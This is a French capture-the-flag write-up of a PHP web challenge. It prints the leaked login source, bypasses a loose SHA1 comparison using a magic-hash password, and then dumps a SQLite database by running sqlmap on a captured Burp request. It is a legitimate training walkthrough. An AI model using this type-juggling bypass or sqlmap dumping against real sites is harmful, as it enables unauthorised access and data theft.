Description du challenge

Jacob is making a simple website to test out his PHP skills. He is certain that his website has absolutely zero security issues. Find out the fatal bug in his website.

Analyse

site web

Lorsque nous arrivons sur le site web, nous arrivons sur la page suivante :

c’est un simple formulaire de login qui nous demande un nom d’utilisateur et un mot de passe. j’ai essayé de me connecter avec l’utilisateur test/test pour voir le fonctionnement du site web. Le site me renvoie un message d’erreur me disant que le nom d’utilisateur est incorrect.

J’ai donc essayé de me connecter avec l’utilisateur admin/admin et le site m’a renvoyé un message d’erreur me disant que le mot de passe est incorrect.

J’ai pensé à une attaque BruteForce, mais cette technique est interdite dans le CTF. J’ai donc analysé le code source de la page pour voir s’il n’y avait pas des informations cachées.

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Login Page</title>
<!-- CSS only -->
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
<!-- JavaScript Bundle with Popper -->
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
</head>

<body>
<!-- <div class="container mt-3">
<a href="source.php">View login source</a>
<form method="get" action="/login.php">
<div id="div_login">
<h1>Admin Login</h1>
<div>
<input type="text" class="textbox" id="txt_uname" name="txt_uname" placeholder="Username" />
</div>
<br>
<div>
<input type="password" class="textbox" id="txt_pwd" name="txt_pwd" placeholder="Password" />
</div>
<br>
<div>
<input type="submit" value="Submit" name="but_submit" id="but_submit" />
</div>
</div>
</form>
</div> -->
<div class="sidenav">
<div class="login-main-text">
<h2>Admin<br> Login Page</h2>
<p>Login here to access your super secret admin panel</p>
</div>
</div>
<div class="main">
<div class="col-md-6 col-sm-12">
<div class="login-form">
<form action="/login.php" method="GET">
<div class="form-group mb-3">
<label>User Name</label>
<input type="text" class="form-control" id="txt_uname" name="txt_uname" placeholder="User Name">
</div>
<div class="form-group mb-3">
<label>Password</label>
<input type="password" class="form-control" id="txt_pwd" name="txt_pwd" placeholder="Password">
</div>
<input type="submit" value="Submit" name="but_submit" class="btn btn-secondary">
</form>
</div>
</div>
</div>
</body>
<style>
body {
font-family: "Lato", sans-serif;
}



.main-head {
height: 150px;
background: #FFF;

}

.sidenav {
height: 100%;
background-color: #000;
overflow-x: hidden;
padding-top: 20px;
}


.main {
padding: 0px 10px;
}

@media screen and (max-height: 450px) {
.sidenav {
padding-top: 15px;
}
}

@media screen and (max-width: 450px) {
.login-form {
margin-top: 10%;
}

.register-form {
margin-top: 10%;
}
}

@media screen and (min-width: 768px) {
.main {
margin-left: 40%;
}

.sidenav {
width: 40%;
position: fixed;
z-index: 1;
top: 0;
left: 0;
}

.login-form {
margin-top: 80%;
}

.register-form {
margin-top: 20%;
}
}


.login-main-text {
margin-top: 20%;
padding: 60px;
color: #fff;
}

.login-main-text h2 {
font-weight: 300;
}

.btn-black {
background-color: #000 !important;
color: #fff;
}
</style>

</html>

?????? 👀

<a href="source.php">View login source</a>

code source de la fonction de login

En ouvrant le fichier source.php, nous avons le code suivant :

<?php
if (isset($_GET['but_submit'])) {
$username = $_GET['txt_uname'];
$password = $_GET['txt_pwd'];
if ($username !== "admin") {
echo "Invalid username";
} else if (hash('sha1', $password) == "0") {
session_start();
$_SESSION['username'] = $username;
header("Location: admin.php");
} else {
echo "Invalid password";
}
}

Il s’agit effectivement du code source de la fonction de login.

Exploit

Bypass de la fonction de login

Nous pouvons voir que le login est forcément admin, de plus on remarque rapidement une faille de type juggling dans la ligne suivante :

else if (hash('sha1', $password) == "0") {

Voici une ressource qui permet d’expliquer le fonctionnement des magic hash et du type juggling.

Connexion en tant qu’admin

Nous pouvons maintenant nous connecter en tant qu’admin en utilisant le mot de passe 10932435112.

Nous arrivons sur la page admin, nous pouvons voir un formulaire qui nous permet de consulter les informations d’un utilisateur en fonction de son ID. J’essaye de saisir les ID 1,2,3 et voici le résultat :


Nous pouvons voir qu’il y’a un flag : dsc{n0_1m_n0t_th3_4dm1n} 👀

ahah les challmakers sont super drôles 😂

j’ai donc creusé légèrement plus loin et j’ai tenté une SQLi basique :

La payload est fausse et elle génère un message d’erreur me laissant comme indice le DBMS utilisé : SQLite3.

Burp suite

J’ai envoyé un ID aléatoire et intercepté la requête avec Burp suite :

POST /read_details.php HTTP/1.1
Host: ch301530130757.ch.eng.run
Cookie: PHPSESSID=f66cb717a11932ffd8d6b3de100c5fc1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: https://ch301530130757.ch.eng.run
Referer: https://ch301530130757.ch.eng.run/admin.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

id=3

Je copie le contenu de ma requête dans un fichier request.txt

SQLi

Une fois que j’ai récupéré la requête, j’ai utilisé sqlmap pour exploiter la SQLi :

sqlmap -r request.txt --dbms=sqlite --dump

Nous avons récupéré le flag : dsc{tYp3_juGgl1nG_i5_cr4zY}

Il s’agit du bon flag cette fois 👀